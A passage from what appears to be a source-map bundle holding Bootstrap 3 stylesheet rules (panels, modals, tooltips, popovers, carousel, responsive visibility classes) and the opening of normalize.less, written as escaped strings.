tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #dddddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #dddddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #dddddd;\n}\n.panel-default {\n border-color: #dddddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #dddddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #dddddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #dddddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000000;\n text-shadow: 0 1px 0 #ffffff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #ffffff;\n border: 1px solid #999999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n min-height: 16.42857143px;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 12px;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #ffffff;\n text-align: center;\n background-color: #000000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 14px;\n background-color: #ffffff;\n background-clip: padding-box;\n border: 1px solid #cccccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #ffffff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #ffffff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #ffffff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #ffffff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n -moz-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #ffffff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #ffffff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #ffffff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #ffffff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #ffffff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -15px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -15px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -15px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n .hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table !important;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS and IE text size adjust after device orientation change,\n// without disabling user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -ms-text-size-adjust: 100%; // 2\n -webkit-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined for any HTML5 element in IE 8/9.\n// Correct `block` display not defined for `details` or `summary` in IE 10/11\n// and Firefox.\n// Correct `block` display not defined for `main` in IE 11.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// 1. Correct `inline-block` display not defined in IE 8/9.\n// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n//\n\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block; // 1\n vertical-align: baseline; // 2\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address `[hidden]` styling not present in IE 8/9/10.\n// Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.\n//\n\n[hidden],\ntemplate {\n display: none;\n}\n\n// Links\n// ==========================================================================\n\n//\n// Remove the gray background color from active links in IE 10.\n//\n\na {\n background-color: transparent;\n}\n\n//\n// Improve readability of focused elements when they are also in an\n// active/hover state.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// Text-level semantics\n// ==========================================================================\n\n//\n// Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9/10.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow not hidden in IE 9/10/11.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// Grouping content\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari.\n//\n\nfigure {\n margin: 1em 40px;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Contain overflow in all browsers.\n//\n\npre {\n overflow: auto;\n}\n\n//\n// Address odd `em`-unit font size rendering in all browsers.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\n// Forms\n// 